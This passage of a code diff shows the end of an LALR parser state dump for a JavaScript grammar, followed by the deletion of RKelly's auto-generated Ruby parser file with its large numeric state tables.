state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - Statement go to state 523 - -state 507 - - 269) CaseBlock : "{" CaseClausesOpt "}" _ - - $default reduce using rule 269 (CaseBlock) - - -state 508 - - 270) CaseBlock : "{" CaseClausesOpt DefaultClause _ CaseClausesOpt "}" - - CASE shift, and go to state 487 - $default reduce using rule 271 (CaseClausesOpt) - - CaseClausesOpt go to state 524 - CaseClauses go to state 485 - CaseClause go to state 486 - -state 509 - - 276) DefaultClause : DEFAULT _ ":" SourceElements - - ":" shift, and go to state 525 - - -state 510 - - 274) CaseClauses : CaseClauses CaseClause _ - - $default reduce using rule 274 (CaseClauses) - - -state 511 - - 214) Expr : Expr _ "," AssignmentExpr - 275) CaseClause : CASE Expr _ ":" SourceElements - - ":" shift, and go to state 526 - "," shift, and go to state 213 - - -state 512 - - 281) TryStatement : TRY Block CATCH "(" IDENT ")" Block _ - 282) TryStatement : TRY Block CATCH "(" IDENT ")" Block _ FINALLY Block - - FINALLY shift, and go to state 527 - $default reduce using rule 281 (TryStatement) - - -state 513 - - 285) FunctionDeclaration : FUNCTION IDENT "(" ")" "{" FunctionBody "}" _ - - $default reduce using rule 285 (FunctionDeclaration) - - -state 514 - - 286) FunctionDeclaration : FUNCTION IDENT "(" FormalParameterList ")" "{" FunctionBody _ "}" - - "}" shift, and go to state 528 - - -state 515 - - 32) Property : IDENT IDENT "(" ")" "{" FunctionBody _ "}" - - "}" shift, and go to state 529 - - -state 516 - - 33) Property : IDENT IDENT "(" FormalParameterList ")" "{" _ FunctionBody "}" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - FunctionBody go to state 530 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - SourceElements go to state 468 - -state 517 - - 288) FunctionExpr : FUNCTION "(" FormalParameterList ")" "{" FunctionBody "}" _ - - $default reduce using rule 288 (FunctionExpr) - - -state 518 - - 289) FunctionExpr : FUNCTION IDENT "(" ")" "{" FunctionBody "}" _ - - $default reduce using rule 289 (FunctionExpr) - - -state 519 - - 290) FunctionExpr : FUNCTION IDENT "(" FormalParameterList ")" "{" FunctionBody _ "}" - - "}" shift, and go to state 531 - - -state 520 - - 246) IterationStatement : FOR "(" ExprNoInOpt ";" ExprOpt ";" ExprOpt ")" _ Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - Statement go to state 532 - -state 521 - - 247) IterationStatement : FOR "(" VAR VariableDeclarationListNoIn ";" ExprOpt ";" ExprOpt _ ")" Statement - - ")" shift, and go to state 533 - - -state 522 - - 250) IterationStatement : FOR "(" VAR IDENT InitializerNoIn IN Expr ")" _ Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - Statement go to state 534 - -state 523 - - 249) IterationStatement : FOR "(" VAR IDENT IN Expr ")" Statement _ - - $default reduce using rule 249 (IterationStatement) - - -state 524 - - 270) CaseBlock : "{" CaseClausesOpt DefaultClause CaseClausesOpt _ "}" - - "}" shift, and go to state 535 - - -state 525 - - 276) DefaultClause : DEFAULT ":" _ SourceElements - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - SourceElements go to state 536 - -state 526 - - 275) CaseClause : CASE Expr ":" _ SourceElements - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - SourceElements go to state 537 - -state 527 - - 282) TryStatement : TRY Block CATCH "(" IDENT ")" Block FINALLY _ Block - - "{" shift, and go to state 65 - - Block go to state 538 - -state 528 - - 286) FunctionDeclaration : FUNCTION IDENT "(" FormalParameterList ")" "{" FunctionBody "}" _ - - $default reduce using rule 286 (FunctionDeclaration) - - -state 529 - - 32) Property : IDENT IDENT "(" ")" "{" FunctionBody "}" _ - - $default reduce using rule 32 (Property) - - -state 530 - - 33) Property : IDENT IDENT "(" FormalParameterList ")" "{" FunctionBody _ "}" - - "}" shift, and go to state 539 - - -state 531 - - 290) FunctionExpr : FUNCTION IDENT "(" FormalParameterList ")" "{" FunctionBody "}" _ - - $default reduce using rule 290 (FunctionExpr) - - -state 532 - - 246) IterationStatement : FOR "(" ExprNoInOpt ";" ExprOpt ";" ExprOpt ")" Statement _ - - $default reduce using rule 246 (IterationStatement) - - -state 533 - - 247) IterationStatement : FOR "(" VAR VariableDeclarationListNoIn ";" ExprOpt ";" ExprOpt ")" _ Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - Statement go to state 540 - -state 534 - - 250) IterationStatement : FOR "(" VAR IDENT InitializerNoIn IN Expr ")" Statement _ - - $default reduce using rule 250 (IterationStatement) - - -state 535 - - 270) CaseBlock : "{" CaseClausesOpt DefaultClause CaseClausesOpt "}" _ - - $default reduce using rule 270 (CaseBlock) - - -state 536 - - 276) DefaultClause : DEFAULT ":" SourceElements _ - - $default reduce using rule 276 (DefaultClause) - - -state 537 - - 275) CaseClause : CASE Expr ":" SourceElements _ - - $default reduce using rule 275 (CaseClause) - - -state 538 - - 282) TryStatement : TRY Block CATCH "(" IDENT ")" Block FINALLY Block _ - - $default reduce using rule 282 (TryStatement) - - -state 539 - - 33) Property : IDENT IDENT "(" FormalParameterList ")" "{" FunctionBody "}" _ - - $default reduce using rule 33 (Property) - - -state 540 - - 247) IterationStatement : FOR "(" VAR VariableDeclarationListNoIn ";" ExprOpt ";" ExprOpt ")" Statement _ - - $default reduce using rule 247 (IterationStatement) - diff --git a/lib/rkelly/generated_parser.rb b/lib/rkelly/generated_parser.rb deleted file mode 100644 index 6187e84b14..0000000000 --- a/lib/rkelly/generated_parser.rb +++ /dev/null @@ -1,3239 +0,0 @@ -# -# DO NOT MODIFY!!!! -# This file is automatically generated by Racc 1.4.6 -# from Racc grammer file "". -# - -require 'racc/parser.rb' - - require "rkelly/nodes" - -module RKelly - class GeneratedParser < Racc::Parser - -module_eval(<<'...end parser.y/module_eval...', 'parser.y', 853) - include RKelly::Nodes - - def allow_auto_semi?(error_token) - error_token == false || error_token == '}' || @terminator - end - - def property_class_for(ident) - case ident - when 'get' - GetterPropertyNode - when 'set' - SetterPropertyNode - end - end - - def debug(*args) - logger.debug(*args) if logger - end -...end parser.y/module_eval... -##### State transition tables begin ### - -clist = [ -'499,192,202,318,176,196,22,23,24,320,457,189,172,292,297,322,40,326', -'509,453,456,247,111,208,207,206,92,398,244,28,328,119,42,211,41,245', -'214,454,215,327,208,207,206,153,154,43,44,119,238,237,416,369,214,369', -'215,228,229,423,173,367,193,27,25,26,87,235,236,248,246,32,190,86,174', -'399,33,507,456,45,46,47,48,293,298,213,376,213,498,191,201,317,175,195', -'369,228,229,319,369,188,464,291,296,321,409,325,22,23,24,74,233,234', -'67,73,80,250,40,70,180,526,249,72,81,69,213,183,36,75,77,28,78,79,42', -'66,41,71,76,119,228,229,238,237,220,119,221,43,44,119,214,331,215,381', -'116,330,117,238,237,235,236,389,119,27,25,26,31,123,213,124,418,32,389', -'65,235,236,33,387,388,45,46,47,48,394,22,23,24,74,387,388,67,73,80,68', -'40,70,213,506,417,72,213,69,233,234,36,75,77,28,78,79,42,66,41,71,76', -'395,382,233,234,213,385,386,396,43,44,239,240,241,242,335,334,385,386', -'163,162,475,238,237,213,27,25,26,31,390,391,392,393,32,389,65,160,161', -'33,235,236,45,46,47,48,397,22,23,24,74,387,388,67,73,80,68,40,70,225', -'226,227,72,81,69,222,223,36,75,77,28,78,79,42,66,41,71,76,460,405,158', -'159,213,233,234,461,43,44,390,391,392,393,228,229,385,386,238,237,406', -'238,237,213,27,25,26,31,164,165,166,167,32,389,65,235,236,33,235,236', -'45,46,47,48,462,22,23,24,74,387,388,67,73,80,68,40,70,225,226,227,72', -'81,69,228,229,36,75,77,28,78,79,42,66,41,71,76,400,380,233,234,213,233', -'234,115,43,44,239,240,241,242,228,229,385,386,238,237,212,238,237,213', -'27,25,26,31,239,240,241,242,32,389,65,235,236,33,235,236,45,46,47,48', -'370,22,23,24,74,387,388,67,73,80,68,40,70,254,474,253,72,213,69,228', -'229,36,75,77,28,78,79,42,66,41,71,76,341,472,233,234,422,233,234,522', -'43,44,213,463,373,469,422,374,385,386,238,237,492,470,471,422,27,25', -'26,31,421,338,473,422,32,401,65,235,236,33,333,332,45,46,47,48,420,22', -'23,24,74,419,246,67,73,80,68,40,70,230,231,232,72,81,69,245,244,36,75', -'77,28,78,79,42,66,41,71,76,329,168,233,234,169,222,223,301,43,44,129', -'130,131,132,133,134,135,136,139,137,138,230,231,232,27,25,26,31,230', -'231,232,213,32,372,65,295,213,33,375,394,45,46,47,48,395,22,23,24,74', -'396,128,67,73,80,68,40,70,230,231,232,72,81,69,397,476,36,75,77,28,78', -'79,42,66,41,71,76,230,231,232,213,477,222,223,479,43,44,129,130,131', -'132,133,134,135,136,139,137,138,230,231,232,27,25,26,31,230,231,232', -'170,32,481,65,295,171,33,487,488,45,46,47,48,290,22,23,24,74,490,128', -'67,73,80,68,40,70,230,231,232,72,491,69,243,493,36,75,77,28,78,79,42', -'66,41,71,76,230,231,232,263,257,125,126,496,43,44,129,130,131,132,133', -'134,135,136,139,137,138,225,226,227,27,25,26,31,230,231,232,255,32,404', -'65,246,245,33,244,243,45,46,47,48,504,22,23,24,74,243,128,67,73,80,68', -'40,70,230,231,232,72,65,69,408,487,36,75,77,28,78,79,42,66,41,71,76', -'230,231,232,230,231,232,412,65,43,44,230,231,232,230,231,232,230,231', -'232,230,231,232,513,204,27,25,26,31,230,231,232,203,32,516,65,517,518', -'33,180,520,45,46,47,48,65,22,23,24,74,198,197,67,73,80,68,40,70,150', -'151,152,72,487,69,525,183,36,75,77,28,78,79,42,66,41,71,76,225,226,227', -'155,156,157,527,528,43,44,225,226,227,230,231,232,529,184,531,115,533', -'186,535,84,27,25,26,31,82,65,539,187,32,,65,,,33,,,45,46,47,48,,22,23', -'24,74,,,67,73,80,68,40,70,,,,72,81,69,,,36,75,77,28,78,79,42,66,41,71', -'76,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,31,,,,,32,,65,,,33,,,45,46,47', -'48,,22,23,24,74,,,67,73,80,68,40,70,,,,72,81,69,,,36,75,77,28,78,79', -'42,66,41,71,76,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,31,,,,,32,,65,,', -'33,,,45,46,47,48,,22,23,24,74,,,67,73,80,68,40,70,,,,72,81,69,,,36,75', -'77,28,78,79,42,66,41,71,76,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,31,', -',,,32,,65,,,33,,,45,46,47,48,,22,23,24,74,,,67,73,80,68,40,70,,,,72', -',69,,,36,75,77,28,78,79,42,66,41,71,76,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,31,,,,,32,,65,,,33,,,45,46,47,48,,22,23,24,74,,,67,73,80,68,40', -'70,,,,72,81,69,,,36,75,77,28,78,79,42,66,41,71,76,,,,,,,,,43,44,,,,', -',,,,,,,,,,27,25,26,31,,,,,32,,65,,,33,,,45,46,47,48,,22,23,24,74,,,67', -'73,80,68,40,70,,,,72,,69,,,36,75,77,28,78,79,42,66,41,71,76,,,,,,,,', -'43,44,,,,,,,,,,,,,,,27,25,26,31,,,,,32,,65,,,33,,,45,46,47,48,,22,23', -'24,74,,,67,73,80,68,40,70,,,,72,,69,,,36,75,77,28,78,79,42,66,41,71', -'76,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,31,,,,,32,,65,,,33,,,45,46,47', -'48,,22,23,24,74,,,67,73,80,68,40,70,,,,72,,69,,,36,75,77,28,78,79,42', -'66,41,71,76,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,31,,,,,32,,65,,,33', -',,45,46,47,48,,22,23,24,74,,,67,73,80,68,40,70,,,,72,81,69,,,36,75,77', -'28,78,79,42,66,41,71,76,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,31,,,,', -'32,,65,,,33,,,45,46,47,48,,22,23,24,74,,,67,73,80,68,40,70,,,,72,81', -'69,,,36,75,77,28,78,79,42,66,41,71,76,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,31,,,,,32,,65,,,33,,,45,46,47,48,,22,23,24,74,,,67,73,80,68,40', -'70,,,,72,81,69,,,36,75,77,28,78,79,42,66,41,71,76,,,,,,,,,43,44,,,,', -',,,,,,,,,,27,25,26,31,,,,,32,,65,,,33,,,45,46,47,48,,22,23,24,74,,,67', -'73,80,68,40,70,,,,72,81,69,,,36,75,77,28,78,79,42,66,41,71,76,,,,,,', -',,43,44,,,,,,,,,,,,,,,27,25,26,31,,,,,32,,65,,,33,,,45,46,47,48,,22', -'23,24,74,,,67,73,80,68,40,70,,,,72,,69,,,36,75,77,28,78,79,42,66,41', -'71,76,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,31,,,,,32,,65,,,33,,,45,46', -'47,48,,22,23,24,74,,,67,73,80,68,40,70,,,,72,384,69,,,36,75,77,28,78', -'79,42,66,41,71,76,,,,,,,222,223,43,44,,129,130,131,132,133,134,135,136', -'139,137,138,,,27,25,26,31,,22,23,24,32,,65,,,33,,40,45,46,47,48,,111', -',,,92,,128,28,,68,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22', -'23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,', -',43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47', -'48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87', -'22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,', -',,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46', -'47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26', -'87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,', -',,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45', -'46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25', -'26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41', -',,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,', -'45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', 